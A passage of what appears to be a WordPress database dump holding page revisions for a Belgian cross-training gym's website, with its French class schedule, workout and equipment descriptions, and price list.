class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:28:48', '2013-07-04 16:28:48', '', 11, 'http://www.crosstrainingcenter.be/?p=282', 0, 'revision', '', 0),
(285, 1, '2013-07-04 16:34:15', '2013-07-04 16:34:15', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:34:15', '2013-07-04 16:34:15', '', 11, 'http://www.crosstrainingcenter.be/?p=285', 0, 'revision', '', 0),
(283, 1, '2013-07-03 20:45:06', '2013-07-03 20:45:06', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-03 20:45:06', '2013-07-03 20:45:06', '', 22, 'http://www.crosstrainingcenter.be/?p=283', 0, 'revision', '', 0),
(318, 1, '2013-07-04 19:38:20', '2013-07-04 19:38:20', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Une séance est composée de 4 phases décrite dans le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 19:38:20', '2013-07-04 19:38:20', '', 11, 'http://www.crosstrainingcenter.be/11-revision-105/', 0, 'revision', '', 0),
